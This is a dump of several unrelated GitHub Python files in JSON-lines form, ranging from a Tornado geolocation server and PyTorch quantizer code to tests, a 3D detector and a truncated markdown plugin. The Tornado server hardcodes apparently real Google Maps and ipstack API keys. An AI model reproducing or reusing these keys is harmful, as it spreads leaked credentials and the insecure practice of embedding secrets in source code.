+{"seq_id":"69969074152","text":"import tornado.ioloop\nimport tornado.web\nimport tornado.websocket\nfrom tornado import httpclient\nimport os\nimport json\nimport re\nfrom functools import partial\n\n\nROOT = os.path.abspath(os.path.dirname(__file__))\nTEMPLATE_DIR = os.path.join(ROOT, 'templates')\nSTATIC_DIR = os.path.join(ROOT, 'static')\nGOOGLE_MAPS_KEY = 'AIzaSyB98jqPlqa41_FhMKQJfTU_ZA1aC04pjcs'\nAPISTACK_KEY = 'abfc98d93414c81cc09e7195a04cbd64'\nAPISTACK_URL_PATTERN = \"http://api.ipstack.com/%(host)s&access_key=%(access_key)s\"\n\n\nclass APIHandler(tornado.websocket.WebSocketHandler):\n @classmethod\n def is_hostname(cls, s):\n \"\"\"\n Should return True if the value is a string ending\n in a period, followed by a number of letters.\n \"\"\"\n regex = re.compile(\n r'(?:[A-Z](?:[A-Z]{0,61}[A-Z])?\\.)+(?:[A-Z]{2,6}\\.?|[A-Z0-9-]{2,}\\.?)', re.IGNORECASE)\n\n return len(re.findall(regex, s)) > 0\n\n async def process_message(self, message):\n msg = json.loads(message)\n if msg['msg'] == 'getPosition':\n self.get_position(msg['payload'])\n elif msg['msg'] == 'getPositions':\n self.get_positions(msg['payload'])\n elif msg['msg'] == 'getPositionsSeq':\n self.get_positions_seq(msg['payload'])\n elif msg['msg'] == 'getPositionsAsync':\n await self.get_positions_async(msg['payload'])\n\n def open(self):\n print(\"Client connected\")\n\n async def on_message(self, message):\n await self.process_message(message)\n\n def on_close(self):\n print(\"WebSocket closed\")\n\n @staticmethod\n def get_api_request_url(host):\n return APISTACK_URL_PATTERN % {'host': host, 'access_key': APISTACK_KEY}\n\n def get_position(self, host_or_ip):\n client = httpclient.HTTPClient()\n api_request_url = self.get_api_request_url(host_or_ip)\n res = client.fetch(api_request_url)\n self.write_message({\n 'msg': 'position',\n 'payload': res.body.decode('utf-8'),\n 'title': host_or_ip,\n })\n\n def get_positions_seq(self, hosts_or_ips):\n for host in hosts_or_ips:\n self.get_position(host)\n\n def handle_response(self, host_or_ip, res ):\n self.write_message({\n 'msg': 'position',\n 'payload': res.body.decode('utf-8'),\n 'title': host_or_ip\n })\n\n async def get_positions_async(self, hosts_or_ips):\n for host in hosts_or_ips:\n await self.get_position_async(host)\n\n async def get_position_async(self, host_or_ip):\n client = httpclient.AsyncHTTPClient()\n api_request_url = self.get_api_request_url(host_or_ip)\n await client.fetch(api_request_url, partial(self.handle_response, host_or_ip))\n\n def get_positions(self, host_or_ip):\n client = httpclient.HTTPClient()\n api_request_url = self.get_api_request_url(host_or_ip)\n res = client.fetch(api_request_url)\n self.write_message({\n 'msg': 'position',\n 'payload': res.body.decode('utf-8'),\n 'title': host_or_ip\n })\n\n\nclass MainHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"main.html\", google_maps_key=GOOGLE_MAPS_KEY)\n\n\ndef make_app():\n settings = {\n 'debug': True,\n 'template_path': TEMPLATE_DIR\n }\n return tornado.web.Application(\n [\n (r\"/\", MainHandler),\n (r\"/wsapi/\", APIHandler),\n (r\"/static/(.*)\", tornado.web.StaticFileHandler, {'path': STATIC_DIR})\n ], **settings\n )\n\n\nif __name__ == \"__main__\":\n app = make_app()\n app.listen(8888)\n tornado.ioloop.IOLoop.current().start()\n","repo_name":"izadpan2/virgo","sub_path":"mapthingy/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"23422146635","text":"import numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\n# Finds the Lagrange basis function lk(t)\n# ArgValues - array of n argument values [t0, ... tn]\ndef getl(t, k, ArgValues):\n n = len(ArgValues)\n lk = 1\n for j in range(n):\n Denom = ArgValues[k] - ArgValues[j]\n lk *= ((t - ArgValues[j]) / Denom) if k != j else 1\n return lk\n\n# Returns the value of the Lagrange polynomial at point t\ndef getLagrangePolinom(t, ArgValues, FunctionValues):\n n = len(ArgValues)\n Value = 0\n for k in range(n):\n Value += (getl(t, k, ArgValues) * FunctionValues[k])\n return Value\n\n# Returns an array of Newton polynomial values for each Args value\n# ArgValues - array of n values of argument t -- [t0, ... tn]\n# FunctionValues - an array of n function values at points [t0, ... tn]\ndef getLagrangeValues(Args, ArgValues, FunctionValues):\n Values = []\n for Arg in Args:\n Values.append(getLagrangePolinom(Arg, ArgValues, FunctionValues))\n return Values\n\nLagrangeArgValues = np.arange(-0.8, 1.2, 0.2)\nLagrangeFunctionValues = [0.02, 0.079, 0.175, 0.303, 0.459, 0.638, 0.831, 1.03, 1.23, 1.42]\n\ndef main():\n plt.figure(figsize = (5, 5))\n plt.title(\"Lagrange interpolation polynomial\")\n\n Args = np.arange(-0.8, 1.01, 0.01)\n LagrangeVals = getLagrangeValues(Args, LagrangeArgValues, LagrangeFunctionValues)\n plt.plot(Args, LagrangeVals, 'b')\n\n plt.scatter(LagrangeArgValues, LagrangeFunctionValues, marker = \"^\")\n \n plt.grid()\n plt.show()\n \nif __name__ == '__main__':\n main()\n\n","repo_name":"kefirRzevo/ComputationalMath","sub_path":"Task5/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"35159192298","text":"class Solution:\n phone = {2: ['a', 'b', 'c'], 3: ['d', 'e', 'f'], 4: ['g', 'h', 'i'], 5: ['j', 'k', 'l'], 6: [\n 'm', 'n', 'o'], 7: ['p', 'q', 'r', 's'], 8: ['t', 'u', 'v'], 9: ['w', 'x', 'y', 'z']}\n\n def backtrack(self, dim: int):\n if dim == len(self.digits):\n self.results.append(''.join(self.result))\n return\n\n for char in self.phone[int(self.digits[dim])]:\n self.result[dim] = char\n self.backtrack(dim+1)\n\n def letterCombinations(self, digits: str) -> list[str]:\n self.results = []\n if digits:\n self.digits = digits\n self.result = [None] * len(digits)\n self.backtrack(0)\n return self.results\n\n\nif __name__ == '__main__':\n digits = \"22\"\n print(f\"{digits}\")\n print('----------Answer Below----------')\n print(Solution().letterCombinations(digits))\n","repo_name":"showboy0704/leetcode","sub_path":"Algorithm/Backtracking/17_letter_combi.py","file_name":"17_letter_combi.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"5296119548","text":"# -*- coding: utf-8 -*-\ntry:\n import importlib\n reload = importlib.reload\nexcept (ImportError, AttributeError):\n pass\nimport click\nimport functools\nimport PyInquirer\nimport os\nimport pytest\nimport subprocess\nimport tempfile\nimport time\nimport zazu.util\ntry:\n import __builtin__ as builtins # NOQA\nexcept ImportError:\n import builtins # NOQA\n\n__author__ = \"Nicholas Wiles\"\n__copyright__ = \"Copyright 2016\"\n\n\ndef touch_file(path):\n with open(path, 'w'):\n pass\n\n\ndef test_scan_tree():\n dir = tempfile.mkdtemp()\n exclude_dir = os.path.join(dir, 'exclude')\n os.mkdir(exclude_dir)\n exclude_file = os.path.join(exclude_dir, 'excluded_file.yes')\n include_file = os.path.join(dir, 'file.yes')\n extra_file = os.path.join(dir, 'file.no')\n touch_file(exclude_file)\n touch_file(extra_file)\n results = zazu.util.scantree(dir, ['*.yes'], ['exclude'], exclude_hidden=True)\n assert not results\n touch_file(include_file)\n results = zazu.util.scantree(dir, ['*.yes'], ['exclude'], exclude_hidden=True)\n assert len(results) == 1\n assert os.path.relpath(include_file, dir) in results\n\n\ndef test_check_output(mocker):\n mocker.patch('subprocess.check_output', side_effect=OSError(''))\n with pytest.raises(click.ClickException):\n zazu.util.check_output(['foo'])\n subprocess.check_output.assert_called_once_with(['foo'])\n\n\ndef test_call(mocker):\n mocker.patch('subprocess.call', side_effect=OSError(''))\n with pytest.raises(click.ClickException):\n zazu.util.call(['foo'])\n subprocess.call.assert_called_once_with(['foo'])\n\n\ndef test_check_popen_not_found(mocker):\n mocker.patch('subprocess.Popen', side_effect=OSError(''))\n with pytest.raises(click.ClickException):\n zazu.util.check_popen(['foo'])\n subprocess.call.assert_called_once_with(['foo'])\n\n\ndef test_check_popen(mocker):\n mocked_process = mocker.Mock()\n mocked_process.communicate = mocker.Mock(return_value=('out', 'err'))\n mocker.patch('subprocess.Popen', return_value=mocked_process)\n mocked_process.returncode = 0\n assert 'out' == zazu.util.check_popen(stdin_str='input', args=['foo'])\n subprocess.Popen.assert_called_once_with(args=['foo'], stderr=subprocess.PIPE,\n stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n mocked_process.communicate.assert_called_once_with('input')\n with pytest.raises(subprocess.CalledProcessError) as e:\n mocked_process.returncode = 1\n zazu.util.check_popen(stdin_str='input', args=['foo'])\n assert e.value.returncode == 1\n assert e.value.cmd == ['foo']\n assert e.value.output == 'err'\n\n\ndef call(*args, **kwargs):\n try:\n return subprocess.call(*args, **kwargs)\n except OSError:\n raise_uninstalled(args[0][0])\n\n\ndef test_pprint_list():\n list = ['a', 'b', 'c']\n formatted = zazu.util.pprint_list(list)\n expected = '\\n - a\\n - b\\n - c'\n assert expected == formatted\n\n\ndef test_raise_uninstalled():\n with pytest.raises(click.ClickException):\n zazu.util.raise_uninstalled('foo')\n\n\ndef test_prompt_default(monkeypatch):\n monkeypatch.setattr('builtins.input', lambda x: '')\n expected = 'bar'\n assert zazu.util.prompt('foo', expected) == expected\n\n\ndef test_prompt_overide_default(monkeypatch):\n expected2 = 'baz'\n monkeypatch.setattr('builtins.input', lambda x: expected2)\n assert zazu.util.prompt('foo', 'bar') == expected2\n\n\ndef test_prompt(monkeypatch):\n expected2 = 'baz'\n monkeypatch.setattr('builtins.input', lambda x: expected2)\n assert zazu.util.prompt('foo') == expected2\n with pytest.raises(ValueError):\n zazu.util.prompt('foo', expected_type=int)\n\n\ndef test_pick_empty():\n assert zazu.util.pick([], 'foo') is None\n\n\ndef test_pick_single():\n choices = ['one']\n assert zazu.util.pick(choices, 'foo') == choices[0]\n\n\ndef test_pick(monkeypatch):\n choices = ['one', 'two']\n monkeypatch.setattr(PyInquirer, 'prompt', lambda x: {' ': choices[0]})\n assert zazu.util.pick(choices, 'foo') == choices[0]\n\n\ndef test_pick_interupted(monkeypatch):\n choices = ['one', 'two']\n monkeypatch.setattr(PyInquirer, 'prompt', lambda x: {})\n with pytest.raises(KeyboardInterrupt):\n zazu.util.pick(choices, 'foo')\n\n\nUNFLATTENED_DICT = {'a': {'b': {'c': 5}, 'd': 6}}\nFLATTENED_DICT = {'a.b.c': 5, 'a.d': 6}\n\n\ndef test_flatten_dict():\n assert FLATTENED_DICT == zazu.util.flatten_dict(UNFLATTENED_DICT)\n\n\ndef test_unflatten_dict():\n assert UNFLATTENED_DICT == zazu.util.unflatten_dict(FLATTENED_DICT)\n\n\ndef test_dict_get_nested():\n d = {'a': {'b': 's', 'c': {'d': 'e'}}}\n assert zazu.util.dict_get_nested(d, ['a', 'b'], None) == 's'\n assert zazu.util.dict_get_nested(d, ['a', 'c'], None) == {'d': 'e'}\n assert zazu.util.dict_get_nested(d, ['a', 'c', 'e'], None) is None\n\n\ndef test_dict_del_nested():\n d = {'a': {'b': 's', 'c': {'d': 'e'}}}\n zazu.util.dict_del_nested(d, ['a', 'b'])\n assert d == {'a': {'c': {'d': 'e'}}}\n zazu.util.dict_del_nested(d, ['a'])\n assert d == {}\n\n\ndef test_dict_update_nested():\n d = {'a': {'b': 's', 'c': {'d': 'e'}}}\n zazu.util.dict_update_nested(d, {'a': {'b': {'c': 'd'}}})\n assert d == {'a': {'b': {'c': 'd'}, 'c': {'d': 'e'}}}\n\n\ndef test_readline_fallback(mocker):\n old_import = builtins.__import__\n\n def new_import(*args, **kwargs):\n if args[0] == 'readline':\n raise ImportError\n elif args[0] == 'pyreadline':\n pass\n else:\n return old_import(*args, **kwargs)\n\n # Dance around python 2.7 vs 3:\n try:\n mocker.patch('builtins.__import__', side_effect=new_import)\n except AttributeError:\n mocker.patch('__builtin__.__import__', side_effect=new_import)\n\n reload(zazu.util)\n imports = [arg[0][0] for arg in builtins.__import__.call_args_list]\n assert 'readline' in imports\n assert 'pyreadline' in imports\n\n\ndef test_cd(tmp_dir):\n old_dir = os.getcwd()\n with zazu.util.cd(tmp_dir):\n assert os.path.realpath(os.getcwd()) == os.path.realpath(tmp_dir)\n assert os.getcwd() == old_dir\n\n\ndef wait(t):\n time.sleep(t)\n return t\n\n\ndef test_dispatch():\n times = [0.1, 0.2, 0.3]\n work = [functools.partial(wait, t) for t in times]\n start_time = time.time()\n assert sorted(zazu.util.dispatch(work)) == sorted(times)\n time_taken = time.time() - start_time\n assert time_taken < sum(times)\n\n\ndef test_async_do():\n start_time = time.time()\n result = zazu.util.async_do(wait, 0.2)\n time_taken = time.time() - start_time\n assert time_taken < 0.1\n assert result.result() == 0.2\n time_taken = time.time() - start_time\n assert time_taken >= 0.2\n","repo_name":"stopthatcow/zazu","sub_path":"tests/test_util.py","file_name":"test_util.py","file_ext":"py","file_size_in_byte":6728,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"14826665989","text":"from __future__ import annotations\n\nfrom typing import Dict, List\n\nimport torch\n\nfrom torch.fx import Node\n\nfrom .quantizer import QuantizationAnnotation, Quantizer\n\n__all__ = [\n \"ComposableQuantizer\",\n]\n\n\nclass ComposableQuantizer(Quantizer):\n \"\"\"\n ComposableQuantizer allows users to combine more than one quantizer into a single quantizer.\n This allows users to quantize a model with multiple quantizers. E.g., embedding quantization\n maybe supported by one quantizer while linear layers and other ops might be supported by another\n quantizer.\n\n ComposableQuantizer is initialized with a list of `Quantizer` instances.\n The order of the composition matters since that is the order in which the quantizers will be\n applies.\n Example:\n ```\n embedding_quantizer = EmbeddingQuantizer()\n linear_quantizer = MyLinearQuantizer()\n xnnpack_quantizer = XNNPackQuantizer() # to handle ops not quantized by previous two quantizers\n composed_quantizer = ComposableQuantizer([embedding_quantizer, linear_quantizer, xnnpack_quantizer])\n prepared_m = prepare_pt2e(model, composed_quantizer)\n ```\n \"\"\"\n\n def __init__(self, quantizers: List[Quantizer]):\n super().__init__()\n self.quantizers = quantizers\n self._graph_annotations: Dict[Node, QuantizationAnnotation] = {}\n\n def _record_and_validate_annotations(\n self, gm: torch.fx.GraphModule, quantizer: Quantizer\n ) -> None:\n for n in gm.graph.nodes:\n if \"quantization_annotation\" in n.meta:\n # check if the annotation has been changed by\n # comparing QuantizationAnnotation object id\n if n in self._graph_annotations and (\n id(self._graph_annotations[n])\n != id(n.meta[\"quantization_annotation\"])\n ):\n raise RuntimeError(\n f\"Quantizer {quantizer.__class__.__name__} has changed annotations on node {n}\"\n )\n else:\n self._graph_annotations[n] = n.meta[\"quantization_annotation\"]\n else:\n if n in self._graph_annotations:\n raise RuntimeError(\n f\"Quantizer {quantizer.__class__.__name__} has removed annotations on node {n}\"\n )\n\n def annotate(self, model: torch.fx.GraphModule) -> torch.fx.GraphModule:\n \"\"\"just handling global spec for now\"\"\"\n for quantizer in self.quantizers:\n quantizer.annotate(model)\n self._record_and_validate_annotations(model, quantizer)\n return model\n\n def validate(self, model: torch.fx.GraphModule) -> None:\n pass\n","repo_name":"pytorch/pytorch","sub_path":"torch/ao/quantization/quantizer/composable_quantizer.py","file_name":"composable_quantizer.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"}
+{"seq_id":"23734022637","text":"import mmcv\nimport copy\nimport torch\nfrom mmcv.parallel import DataContainer as DC\nfrom mmcv.runner import force_fp32\nfrom os import path as osp\nfrom torch import nn as nn\nfrom torch.nn import functional as F\n\nfrom mmdet3d.core import (Box3DMode, Coord3DMode, bbox3d2result,\n merge_aug_bboxes_3d, show_result)\nfrom mmdet3d.ops import Voxelization\nfrom mmdet.core import multi_apply\nfrom mmdet.models import DETECTORS\nfrom mmdet3d.models import builder\nfrom mmdet3d.models.detectors.mvx_two_stage import MVXTwoStageDetector\nimport pdb\n\n\n@DETECTORS.register_module()\nclass DeepInteraction(MVXTwoStageDetector):\n \"\"\"Base class of Multi-modality VoxelNet.\"\"\"\n\n def __init__(self,\n freeze_img=False,\n freeze_pts=False,\n pts_pillar_layer=None,\n pts_voxel_layer=None,\n pts_voxel_encoder=None,\n pts_pillar_encoder=None,\n pts_middle_encoder=None,\n pts_fusion_layer=None,\n img_backbone=None,\n pts_backbone=None,\n img_neck=None,\n pts_neck=None,\n imgpts_neck=None,\n pts_bbox_head=None,\n img_roi_head=None,\n img_rpn_head=None,\n train_cfg=None,\n test_cfg=None,\n pretrained=None,\n init_cfg=None):\n super(DeepInteraction, self).__init__(pts_voxel_layer, pts_voxel_encoder,\n pts_middle_encoder, pts_fusion_layer,\n img_backbone, pts_backbone, img_neck, pts_neck,\n pts_bbox_head, img_roi_head, img_rpn_head,\n train_cfg, test_cfg, pretrained, init_cfg)\n \n self.pts_pillar_layer = Voxelization(**pts_pillar_layer)\n self.imgpts_neck = builder.build_neck(imgpts_neck)\n if pts_pillar_encoder is not None:\n self.pts_pillar_encoder = builder.build_voxel_encoder(pts_pillar_encoder)\n \n self.freeze_img = freeze_img\n self.freeze_pts = freeze_pts\n \n def init_weights(self):\n \"\"\"Initialize model weights.\"\"\"\n super(DeepInteraction, self).init_weights()\n if self.freeze_img:\n if self.with_img_backbone:\n for param in self.img_backbone.parameters():\n param.requires_grad = False\n if self.with_img_neck:\n for param in self.img_neck.parameters():\n param.requires_grad = False\n \n if self.freeze_pts:\n for name, param in self.named_parameters():\n if 'pts' in name and 'pts_bbox_head' not in name and 'imgpts_neck' not in name:\n param.requires_grad = False\n if 'pts_bbox_head.decoder.0' in name:\n param.requires_grad = False\n if 'imgpts_neck.shared_conv_pts' in name:\n param.requires_grad = False\n if 'pts_bbox_head.heatmap_head' in name and 'pts_bbox_head.heatmap_head_img' not in name:\n param.requires_grad = False\n if 'pts_bbox_head.prediction_heads.0' in name:\n param.requires_grad = False\n if 'pts_bbox_head.class_encoding' in name:\n param.requires_grad = False\n def fix_bn(m):\n if isinstance(m, nn.BatchNorm1d) or isinstance(m, nn.BatchNorm2d):\n m.track_running_stats = False\n self.pts_voxel_layer.apply(fix_bn)\n self.pts_voxel_encoder.apply(fix_bn)\n self.pts_middle_encoder.apply(fix_bn)\n self.pts_backbone.apply(fix_bn)\n self.pts_neck.apply(fix_bn)\n # self.pts_bbox_head.heatmap_head.apply(fix_bn)\n # self.pts_bbox_head.class_encoding.apply(fix_bn)\n # self.pts_bbox_head.decoder[0].apply(fix_bn)\n # self.pts_bbox_head.prediction_heads[0].apply(fix_bn)\n self.imgpts_neck.shared_conv_pts.apply(fix_bn)\n\n\n def extract_img_feat(self, img, img_metas):\n \"\"\"Extract features of images.\"\"\"\n if self.with_img_backbone and img is not None:\n input_shape = img.shape[-2:]\n # update real input shape of each single img\n for img_meta in img_metas:\n img_meta.update(input_shape=input_shape)\n\n if img.dim() == 5 and img.size(0) == 1:\n img.squeeze_(0)\n elif img.dim() == 5 and img.size(0) > 1:\n B, N, C, H, W = img.size()\n img = img.view(B * N, C, H, W)\n img_feats = self.img_backbone(img.float())\n else:\n return None\n if self.with_img_neck:\n img_feats = self.img_neck(img_feats)\n return img_feats\n\n def extract_pts_feat(self, pts, img_feats, img_metas):\n \"\"\"Extract features of points.\"\"\"\n if not self.with_pts_bbox:\n return None\n voxels, num_points, coors = self.voxelize(pts,voxel_type='voxel')\n voxel_features = self.pts_voxel_encoder(voxels, num_points, coors)\n batch_size = coors[-1, 0] + 1\n x = self.pts_middle_encoder(voxel_features, coors, batch_size)\n x = self.pts_backbone(x)\n if self.with_pts_neck:\n x = self.pts_neck(x)\n \n pillars, pillars_num_points, pillar_coors = self.voxelize(pts, voxel_type='pillar')\n if hasattr(self, 'pts_pillar_encoder'):\n pillar_features = self.pts_pillar_encoder(pillars, pillars_num_points, pillar_coors)\n else:\n pillar_features = self.pts_voxel_encoder(pillars, pillars_num_points, pillar_coors)\n pts_metas = {}\n pts_metas['pillar_center'] = pillar_features\n pts_metas['pillars'] = pillars\n pts_metas['pillars_num_points'] = pillars_num_points\n pts_metas['pillar_coors'] = pillar_coors\n pts_metas['pts'] = pts\n return x, pts_metas\n \n def extract_feat(self, points, img, img_metas):\n img_feats = self.extract_img_feat(img, img_metas)\n pts_feats, pts_metas = self.extract_pts_feat(points, img_feats, img_metas)\n new_img_feat, new_pts_feat = self.imgpts_neck(img_feats[0], pts_feats[0], img_metas, pts_metas)\n return (new_img_feat, new_pts_feat)\n\n @torch.no_grad()\n @force_fp32()\n def voxelize(self, points, voxel_type='voxel'):\n assert voxel_type=='voxel' or voxel_type=='pillar'\n voxels, coors, num_points = [], [], []\n for res in points:\n if voxel_type == 'voxel':\n res_voxels, res_coors, res_num_points = self.pts_voxel_layer(res)\n elif voxel_type == 'pillar':\n res_voxels, res_coors, res_num_points = self.pts_pillar_layer(res)\n voxels.append(res_voxels)\n coors.append(res_coors)\n num_points.append(res_num_points)\n voxels = torch.cat(voxels, dim=0)\n num_points = torch.cat(num_points, dim=0)\n coors_batch = []\n for i, coor in enumerate(coors):\n coor_pad = F.pad(coor, (1, 0), mode='constant', value=i)\n coors_batch.append(coor_pad)\n coors_batch = torch.cat(coors_batch, dim=0)\n return voxels, num_points, coors_batch\n\n def forward_train(self,\n points=None,\n img_metas=None,\n gt_bboxes_3d=None,\n gt_labels_3d=None,\n gt_labels=None,\n gt_bboxes=None,\n img=None,\n proposals=None,\n gt_bboxes_ignore=None):\n \"\"\"Forward training function.\n\n Args:\n points (list[torch.Tensor], optional): Points of each sample.\n Defaults to None.\n img_metas (list[dict], optional): Meta information of each sample.\n Defaults to None.\n gt_bboxes_3d (list[:obj:`BaseInstance3DBoxes`], optional):\n Ground truth 3D boxes. Defaults to None.\n gt_labels_3d (list[torch.Tensor], optional): Ground truth labels\n of 3D boxes. Defaults to None.\n gt_labels (list[torch.Tensor], optional): Ground truth labels\n of 2D boxes in images. Defaults to None.\n gt_bboxes (list[torch.Tensor], optional): Ground truth 2D boxes in\n images. Defaults to None.\n img (torch.Tensor optional): Images of each sample with shape\n (N, C, H, W). Defaults to None.\n proposals ([list[torch.Tensor], optional): Predicted proposals\n used for training Fast RCNN. Defaults to None.\n gt_bboxes_ignore (list[torch.Tensor], optional): Ground truth\n 2D boxes in images to be ignored. Defaults to None.\n\n Returns:\n dict: Losses of different branches.\n \"\"\"\n img_feats, pts_feats = self.extract_feat(\n points, img=img, img_metas=img_metas)\n losses = dict()\n losses_pts = self.forward_pts_train(pts_feats[1], gt_bboxes_3d,\n gt_labels_3d, img_metas,\n gt_bboxes_ignore)\n losses.update(losses_pts)\n return losses\n\n def forward_test(self, img_metas, img=None, **kwargs):\n for var, name in [(img_metas, 'img_metas')]:\n if not isinstance(var, list):\n raise TypeError('{} must be a list, but got {}'.format(\n name, type(var)))\n img = [img] if img is None else img\n\n if img_metas[0][0]['scene_token'] != self.prev_frame_info['scene_token']:\n # the first sample of each scene is truncated\n self.prev_frame_info['prev_bev'] = None\n # update idx\n self.prev_frame_info['scene_token'] = img_metas[0][0]['scene_token']\n\n # do not use temporal information\n if not self.video_test_mode:\n self.prev_frame_info['prev_bev'] = None\n\n # Get the delta of ego position and angle between two timestamps.\n tmp_pos = copy.deepcopy(img_metas[0][0]['can_bus'][:3])\n tmp_angle = copy.deepcopy(img_metas[0][0]['can_bus'][-1])\n if self.prev_frame_info['prev_bev'] is not None:\n img_metas[0][0]['can_bus'][:3] -= self.prev_frame_info['prev_pos']\n img_metas[0][0]['can_bus'][-1] -= self.prev_frame_info['prev_angle']\n else:\n img_metas[0][0]['can_bus'][-1] = 0\n img_metas[0][0]['can_bus'][:3] = 0\n\n new_prev_bev, bbox_results = self.simple_test(\n img_metas[0], img[0], prev_bev=self.prev_frame_info['prev_bev'], **kwargs)\n # During inference, we save the BEV features and ego motion of each timestamp.\n self.prev_frame_info['prev_pos'] = tmp_pos\n self.prev_frame_info['prev_angle'] = tmp_angle\n self.prev_frame_info['prev_bev'] = new_prev_bev\n return bbox_results\n\n def forward_pts_train(self,\n pts_feats,\n gt_bboxes_3d,\n gt_labels_3d,\n img_metas,\n gt_bboxes_ignore=None,\n prev_bev=None):\n \"\"\"Forward function'\n Args:\n pts_feats (list[torch.Tensor]): Features of point cloud branch\n gt_bboxes_3d (list[:obj:`BaseInstance3DBoxes`]): Ground truth\n boxes for each sample.\n gt_labels_3d (list[torch.Tensor]): Ground truth labels for\n boxes of each sampole\n img_metas (list[dict]): Meta information of samples.\n gt_bboxes_ignore (list[torch.Tensor], optional): Ground truth\n boxes to be ignored. Defaults to None.\n prev_bev (torch.Tensor, optional): BEV features of previous frame.\n Returns:\n dict: Losses of each branch.\n \"\"\"\n\n outs = self.pts_bbox_head(\n pts_feats, img_metas, prev_bev)\n loss_inputs = [gt_bboxes_3d, gt_labels_3d, outs]\n losses = self.pts_bbox_head.loss(*loss_inputs, img_metas=img_metas)\n return losses\n\n def pred2result(self, bboxes, scores, labels, pts, attrs=None):\n \"\"\"Convert detection results to a list of numpy arrays.\n\n Args:\n bboxes (torch.Tensor): Bounding boxes with shape of (n, 5).\n labels (torch.Tensor): Labels with shape of (n, ).\n scores (torch.Tensor): Scores with shape of (n, ).\n attrs (torch.Tensor, optional): Attributes with shape of (n, ). \\\n Defaults to None.\n\n Returns:\n dict[str, torch.Tensor]: Bounding box results in cpu mode.\n\n - boxes_3d (torch.Tensor): 3D boxes.\n - scores (torch.Tensor): Prediction scores.\n - labels_3d (torch.Tensor): Box labels.\n - attrs_3d (torch.Tensor, optional): Box attributes.\n \"\"\"\n result_dict = dict(\n boxes_3d=bboxes.to('cpu'),\n scores_3d=scores.cpu(),\n labels_3d=labels.cpu(),\n pts_3d=pts.to('cpu'))\n\n if attrs is not None:\n result_dict['attrs_3d'] = attrs.cpu()\n\n return result_dict\n\n def simple_test_pts(self, x, img_metas, prev_bev=None, rescale=False):\n \"\"\"Test function\"\"\"\n outs = self.pts_bbox_head(x, img_metas, prev_bev=prev_bev)\n\n bbox_list = self.pts_bbox_head.get_bboxes(\n outs, img_metas, rescale=rescale)\n\n bbox_results = [\n self.pred2result(bboxes, scores, labels, pts)\n for bboxes, scores, labels, pts in bbox_list\n ]\n # import pdb;pdb.set_trace()\n return outs['bev_embed'], bbox_results\n\n def simple_test(self, img_metas, img=None, prev_bev=None, rescale=False, **kwargs):\n \"\"\"Test function without augmentaiton.\"\"\"\n img_feats = self.extract_feat(img=img, img_metas=img_metas)\n\n bbox_list = [dict() for i in range(len(img_metas))]\n new_prev_bev, bbox_pts = self.simple_test_pts(\n img_feats, img_metas, prev_bev, rescale=rescale)\n for result_dict, pts_bbox in zip(bbox_list, bbox_pts):\n result_dict['pts_bbox'] = pts_bbox\n return new_prev_bev, bbox_list\n","repo_name":"Dapannnnn/trannport","sub_path":"deepinteraction_1.py","file_name":"deepinteraction_1.py","file_ext":"py","file_size_in_byte":14343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"23569792572","text":"from allauth.socialaccount.models import SocialApp\nfrom django.contrib.sites.models import Site\nfrom django.core.management.base import BaseCommand\n\n\nclass Command(BaseCommand):\n help = 'Rename first or create new Site'\n\n def add_arguments(self, parser):\n parser.add_argument('name', type=str, help=\"Site display name\")\n parser.add_argument('domain', type=str, help=\"Site Dimain\")\n parser.add_argument('-c','--create',action='store_true', default=False, help=\"Create new Site\")\n\n def handle(self, *args, **options):\n name = options['name']\n domain = options['domain']\n \n if options[\"create\"]:\n s = Site(name=name, domain=domain,)\n s.save()\n self.stdout.write(self.style.SUCCESS(\n \"Created site! name:'{}' \\tdomain:'{}'\".format(s.name, s.domain)\n ))\n else:\n # Delete the specific sites if it exists.\n Site.objects.filter(name=name).delete()\n s = Site.objects.first()\n s.name=name\n s.domain=domain\n s.save()\n self.stdout.write(self.style.SUCCESS(\n \"Rename first site! name:'{}' \\tdomain:'{}'\".format(s.name, s.domain)\n ))\n ","repo_name":"mar4elkin/SelectelHackaton","sub_path":"selectelhackaton/auth/management/commands/rename_site.py","file_name":"rename_site.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"29841885350","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Language forms plugin\n\nimport re\n\n# Example:\n#\n# {forms\n# classes: wide\n# labels: nom | acc | gen | dat\n# sg: iċ | mē, mec | mīn | mē\n# pl: wē | ūs | ūre | ūs\n# }\n\n\n# Convert the syntax to an HTML table\ndef convert(m):\n content = m.group(1)\n lines = content.split('\\n')\n\n labels = []\n column_order = []\n columns = {}\n css_classes = ''\n\n for line in lines:\n # Strip whitespace\n line = line.strip()\n\n # Parse\n keyword, args = line.split(': ')\n args = [x.strip() for x in args.strip().split(' | ')]\n\n if keyword == 'labels':\n # It's the label definition list\n labels = args\n elif keyword == 'classes':\n # CSS classes to apply to the table\n css_classes = ' %s' % ' '.join(args)\n else:\n # It's a column\n column_order.append(keyword)\n columns[keyword] = args\n\n html = '
' % css_classes\n\n # Column labels\n html += '
'\n html += '
'\n for column in column_order:\n html += '
%s
' % column\n html += '
'\n\n for i, label in enumerate(labels):\n html += '
'\n html += '
%s
' % label\n for column in column_order:\n if i < len(columns[column]):\n html += '
%s
' % columns[column][i]\n else:\n html += '
'\n html += '
'\n\n html += '
